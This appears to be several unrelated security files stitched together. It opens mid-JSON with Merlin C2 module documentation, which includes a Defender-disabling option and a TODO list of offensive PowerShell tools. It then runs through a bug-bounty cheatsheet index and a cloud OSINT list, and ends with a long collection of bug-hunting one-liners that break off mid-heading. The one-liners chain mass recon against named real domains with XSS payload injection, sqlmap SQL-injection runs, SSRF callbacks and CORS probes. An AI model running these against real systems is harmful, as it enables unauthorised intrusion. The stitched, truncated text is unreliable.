"flag": "", "description": "The host to ping"}, {"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}, {"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."} ] ``` Name | Type | Description | Example --- | --- | --- | --- [name](#Name) | string | The name of the option | "name": "ComputerName" [value](#Value) | string | The configured value for the option | "value": "127.0.0.1" [flag](#Flag) | string | The command line flag for the option | "flag": "-ComputerName" description | string | A short description of the option | "description": "The target computer name to run the script on" required | bool | Is this option required? | "required": false #### Name This is the name of the option that can be set by a user. This value is used as a variable in the `commands` section of the module file. The name is case sensitive (`Name` != `name` != `NAME`). An example option object looks like: `{"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}` An example of setting the `count` option is: ```text Merlin[module][TEST]» set count 5 [+]count set to 5 Merlin[module][TEST]» ``` Using just the option's name within double curly braces will return both the flag and value. For example `{{count}}` would be parsed and replaced with `-c 3`. The `flag` and `value` properties can be accessed individually if needed with `{{count.Flag}}` and `{{count.Value}}`. #### Value This is the value that the options has been set to. The value can be directly accessed in the `commands` section by using `.Value` after option's name. This is ideal for positional arguments that do not have a flag or specify an application executable file name. An example option object that uses the `value` property is: `{"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"}` For example `{{host.Value}}` would be parsed and replaced with just the value of the `host` option (`google.com`). If an option's value is empty, it will not be ignored and not parsed. #### Flag The `flag` property is used to specify what the notation is for a specific argument when executing a command. The `name` property can be used in conjunction with the `flag` property when the flag is not descriptive enough to make sense. A command line flag could start with a variety of options like `-`, `--`, or `/`. An example option object that uses a `flag` property is: `{"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."}` Some applications use a flag with no value after it. A common example of this `-h` to view an application's help information. A flag, WITHOUT its value can be accessed in the `commands` section with `.Flag`. For example `{{help.Flag}}` would be parsed and replaced with just `-h`. If you want to only use the flag, and not its value, then you must set its value to `true`. Using just the option's name within double curly braces will return both the flag and value. For example `{{help}}` would be parsed and replaced with `-h true`. ### Commands The `commands` section of the module is used to provide the commands that are going to be executed on the host. The array should consist of every command in its own list item. You do not need to account for spaces. This is automatically done when the command is executed on the host. You specify the location of an `option` by using double curly brace and the option's [name](#Name). This will be parsed and replaced with both the `value` and `flag` values from the option's list entry. The option's [flag](#Flag) and [value](#Value) can be accessed individually. An example `command` section looks like: ```text "options": [ {"name": "host", "value": "google.com", "required": true, "flag": "", "description": "The host to ping"}, {"name": "count", "value": "3", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}, {"name": "help", "value": "", "required": false, "flag": "-h", "description": "Show help."} ], "commands": [ "/bin/ping", "{{count}}", "{{host.Value}}" ] ``` This would get parsed as `/bin/ping -c 3 google.com` If an option's value is not set, it will be ignored. An example of accessing only an option's flag while ignoring everything else is: ```text "options": [ {"name": "host", "value": "", "required": false, "flag": "", "description": "The host to ping"}, {"name": "count", "value": "", "required": false, "flag": "-c", "description": "Stop after sending count ECHO_REQUEST packets."}, {"name": "help", "value": "true", "required": false, "flag": "-h", "description": "Show help."} ], "commands": [ "/bin/ping", "{{help.Flag}}" "{{count}}", "{{host.Value}}" ] ``` This would get parsed as `/bin/ping -h ` ## PowerShell The `powershell` module is used to provide additional configuration options that pertain to PowerShell commands. Support for this module type is currently lacking. At this time is being used as placeholder for future development. Name | Type | Description | Example --- | --- | --- | --- disableav | bool | Should Windows Defender be disabled prior to running the command? | "disableav" : true obfuscate | bool | Should the PowerShell command be obfuscated? | "obfuscate": false base64 | bool | Should the command be Base64 encoded? | "base64": true ### TODO * Add persistence module for PowerShell $PROFILE * Add persistence module for Windows Startup * Add persistence module for scheduled task * Add PowerView * Add BloodHound * Create tool download 3rd party scripts by name into /data/src by name or all * Add Invoke-Mimikittenz module * Add Power-Memory module * Add PowerShell-Suite module * Add Inviegh module * Add Invoke-TheHash modules * Add PowerSploit modules * Add Nishang modules * Add Linux Exploit Suggester module pentestmonkey, penturalabs * Add windows-exploit-suggester * Add winsploit as a non-basic Merlin module by porting functionality * https://github.com/slimm609/checksec.sh * Tater.ps1 * Create a module for every MITRE ATT&CK * Create a persistence module from https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/ * Port this to a Merlin Script https://github.com/harleyQu1nn/AggressorScripts/blob/master/EDR.cna * Add letmein.ps1 from https://github.com/0xdea/tactical-exploitation * Add modules for these code execution methods where applicable https://github.com/pwndizzle/CodeExecutionOnWindows
# 漏洞赏金备忘录</h1> 在线观看:https://www.hacking8.com/bugbounty-cheatsheet/cheatsheets/bugbountyplatforms.html | 📚 Reference | 🔎 Vulnerabilities | | ------------------------------------------------- | ------------------------------------------------------- | | [漏洞赏金平台](cheatsheets/bugbountyplatforms.md) | [XSS](cheatsheets/xss.md) | | [书籍](cheatsheets/books.md) | [SQLi](cheatsheets/sqli.md) | | [特殊工具](cheatsheets/special-tools.md) | [SSRF](cheatsheets/ssrf.md) | | [资产发现](cheatsheets/recon.md) | [CRLF Injection](cheatsheets/crlf.md) | | [练习平台](cheatsheets/practice-platforms.md) | [CSV Injection](cheatsheets/csv-injection.md) | | [赏金计划一些tips](cheatsheets/bugbountytips.md) | [LFI](cheatsheets/lfi.md) | | | [XXE](cheatsheets/xxe.md) | | | [RCE](cheatsheets/rce.md) | | | [Open Redirect](cheatsheets/open-redirect.md) | | | [Crypto](cheatsheets/crypto.md) | | | [Template Injection](cheatsheets/template-injection.md) | | | [Content Injection](cheatsheets/content-injection.md) | | | [XSLT Injection](cheatsheets/xslt.md) | # 贡献者 - [EdOverflow](https://github.com/EdOverflow) - [GerbenJavado](https://github.com/GerbenJavado) - [jon_bottarini](https://github.com/BlueTower) - [sp1d3r](https://github.com/sp1d3r) - [yasinS](https://github.com/yasinS) - [neutrinoguy](https://github.com/neutrinoguy) - [kuromatae](https://github.com/kuromatae) - [And many more ...](https://github.com/EdOverflow/bugbounty-cheatsheet/graphs/contributors)
# This is a curated list of resources for collecting information about cloud providers. #### A presentation that covers the concept of Cloud OSINT and its application in third party cloud provider review https://docs.google.com/presentation/d/113N-x1ocz7xDS5rXcmhmTqDyv2to028yAzedJlKq1J8/edit?usp=sharing ### Asset discovery Free | Commercial ---- | ---------- Shodan | BitDiscovery Bluto | assetnote SpiderFoot | https://spyse.com/ | ### SSL and HTTP Security Headers analysis Free | Commercial ---- | --------- SSLScan | htbridge | HttpObservatory | Testssl.sh| ### Mobile Free | Commercial -----| ---------- htbridge mobile| NowSecure Intel vulners | Data Theorem https://android.fallible.co/ | https://androidobservatory.org/| ### Threat Hunting Free | Commercial -----| ---------- GreyNoise.io| Recorded Future ### Audit Reports Free | Commercial -----| ---------- CSA Star Registry| sharedassessments ### Vulnerability data Free | Commercial -----| ---------- OpenBugBounty| PunkSPIDER | Vulners | https://scans.io/ | ### Company details Free | Commercial -----| ---------- Crunchbase| ### Code Search Free | Commercial -----| ---------- nerdydata| https://publicwww.com/ | ### IP Reputation Free | Commercial -----| ---------- Cisco Talos| ### DNS Search Free | Commercial -----| ---------- DNSDumpster, Domaintools etc.| Cisco Umbrella ### Breach Information Free | Commercial -----| ---------- Google Search etc.| Recorded Future ### Cloud Access Security Broker Free | Commercial -----| ---------- -----| Cisco CloudLock, Skyhigh, Bitglass ### Third party risk measurement Free | Commercial -----| ---------- -----| Bitsight, securityscorecard ### Financial Viability Free | Commercial -----| ---------- -----| Dun & Bradstreet ### Content Security Policy Analysis Free | Commercial -----|----------- https://csp-evaluator.withgoogle.com/ | ### Tech Stack Evaluation Free | Commercial -----| ---------- Wapplyzer | https://www.purplemet.com/ urlscan.io| ### TLS certificate and associated subdomain analysis Free | Commercial -----| ---------- censys.io| https://transparencyreport.google.com/https/certificates | ### Test for IPv6, DNSSEC, DMARC etc. Modern Standards Free | Commercial -----| ---------- https://en.internet.nl | ### Open Buckets analysis Free | Commercial -----|------------ https://buckets.grayhatwarfare.com | ### SSH Analysis Free | Commercial -----|----------- https://sshcheck.com |
# Elsfa7110-Oneliner-bughunting ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/3nnEhCj) ```bash xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer' ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/324Sr1x) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ ``` ### Using x8 to Hidden parameters discovery - [Explaining command](https://bit.ly/3w48wl8) ```bash assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate' ``` ### Extract .js Subdomains - [Explaining command](https://bit.ly/339CN5p) ```bash echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 ``` ### goop to search .git files. - [Explaining command](https://bit.ly/3d0VcY5) ```bash xargs -a xss -P10 -I@ sh -c 'goop @' ``` ### Using chaos list to enumerate endpoint ```bash curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @' ``` ### Using Wingman to search XSS reflect / DOM XSS - [Explaining command](https://bit.ly/3m5ft1g) ```bash xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify' ``` ### Search ASN to metabigor and resolvers domain - [Explaining command](https://bit.ly/3bvghsY) ```bash echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew' ``` ### OneLiners ### Search .json gospider filter anti-burl - [Explaining command](https://bit.ly/3eoUhSb) ```bash gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl ``` ### Search .json subdomain - [Explaining command](https://bit.ly/3kZydis) ```bash assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew ``` ### SonarDNS extract subdomains - [Explaining command](https://bit.ly/2NvXRyv) ```bash wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar ``` ### Kxss to search param XSS - [Explaining command](https://bit.ly/3aaEDHL) ```bash echo http://testphp.vulnweb.com/ | waybackurls | kxss ``` ### Recon subdomains and gau to search vuls DalFox - [Explaining command](https://bit.ly/3aMXQOF) ```bash assetfinder testphp.vulnweb.com | gau | dalfox pipe ``` ### Recon subdomains and Screenshot to URL using gowitness - [Explaining command](https://bit.ly/3aKSSCb) ```bash assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' ``` ### Extract urls to source code comments - [Explaining command](https://bit.ly/2MKkOxm) ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command](https://bit.ly/2NIavul) ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command](https://bit.ly/3c2t6eG) ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command](https://bit.ly/362LyQF) ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command](https://bit.ly/3sD0pLv) ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command](https://bit.ly/3nWHM22) ```bash chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1 ``` ### Download all domains to bounty chaos - [Explaining command](https://bit.ly/38wPQ4o) ```bash curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ sh -c 'wget @ -q'; mkdir bounty ; unzip '*.zip' -d bounty/ ; rm -rf *zip ; cat bounty/*.txt >> allbounty ; sort -u allbounty >> domainsBOUNTY ; rm -rf allbounty bounty/ ; echo '@OFJAAAH' ``` ### Recon to search SSRF Test - [Explaining command](https://bit.ly/3shFFJ5) ```bash findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau | grep "=" | qsreplace http://YOUR.burpcollaborator.net ``` ### ShuffleDNS to domains in file scan nuclei. - [Explaining command](https://bit.ly/2L3YVsc) ```bash xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1 ``` ### Search Asn Amass - [Explaining command](https://bit.ly/2EMooDB) Amass intel will search the organization "paypal" from a database of ASNs at a faster-than-default rate. It will then take these ASN numbers and scan the complete ASN/IP space for all tld's in that IP space (paypal.com, paypal.co.id, paypal.me) ```bash amass intel -org paypal -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500'' ``` ### SQLINJECTION Mass domain file - [Explaining command](https://bit.ly/354lYuf) ```bash httpx -l domains -silent -threads 1000 | xargs -I@ sh -c 'findomain -t @ -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1' ``` ### Using chaos search js - [Explaining command](https://bit.ly/32vfRg7) Chaos is an API by Project Discovery that discovers subdomains. Here we are querying thier API for all known subdoains of "att.com". We are then using httpx to find which of those domains is live and hosts an HTTP or HTTPs site. We then pass those URLs to GoSpider to visit them and crawl them for all links (javascript, endpoints, etc). We then grep to find all the JS files. We pipe this all through anew so we see the output iterativlely (faster) and grep for "(http|https)://att.com" to make sure we dont recieve output for domains that are not "att.com". ```bash chaos -d att.com | httpx -silent | xargs -I@ -P20 sh -c 'gospider -a -s "@" -d 2' | grep -Eo "(http|https)://[^/"].*.js+" | sed "s#] ``` ### Search Subdomain using Gospider - [Explaining command](https://bit.ly/2QtG9do) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) we use some blacklist, so that it doesn’t travel, not to delay, grep is a command-line utility for searching plain-text data sets for lines that match a regular expression to search HTTP and HTTPS ```bash gospider -d 0 -s "https://site.com" -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### Using gospider to chaos - [Explaining command](https://bit.ly/2D4vW3W) GoSpider to visit them and crawl them for all links (javascript, endpoints, etc) chaos is a subdomain search project, to use it needs the api, to xargs is a command on Unix and most Unix-like operating systems used to build and execute commands from standard input. ```bash chaos -d paypal.com -bbq -filter-wildcard -http-url | xargs -I@ -P5 sh -c 'gospider -a -s "@" -d 3' ``` ### Using recon.dev and gospider crawler subdomains - [Explaining command](https://bit.ly/32pPRDa) We will use recon.dev api to extract ready subdomains infos, then parsing output json with jq, replacing with a Stream EDitor all blank spaces If anew, we can sort and display unique domains on screen, redirecting this output list to httpx to create a new list with just alive domains. Xargs is being used to deal with gospider with 3 parallel proccess and then using grep within regexp just taking http urls. ```bash curl "https://recon.dev/api/search?key=apiKEY&domain=paypal.com" |jq -r '.[].rawDomains[]' | sed 's/ //g' | anew |httpx -silent | xargs -P3 -I@ gospider -d 0 -s @ -c 5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' 2>/dev/null" ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash cat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command](https://bit.ly/3dvP6xq) ```bash cat subdomsains.txt | httpx --silent | jsubfinder -s ``` ### Search domains to Range-IPS. - [Explained command](https://bit.ly/3fa0eAO) ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command](https://bit.ly/3kNTHNm) ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command](https://bit.ly/2JpRsmS) ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command](https://bit.ly/3gsbzNt) ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command](https://bit.ly/37avq0C) ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. 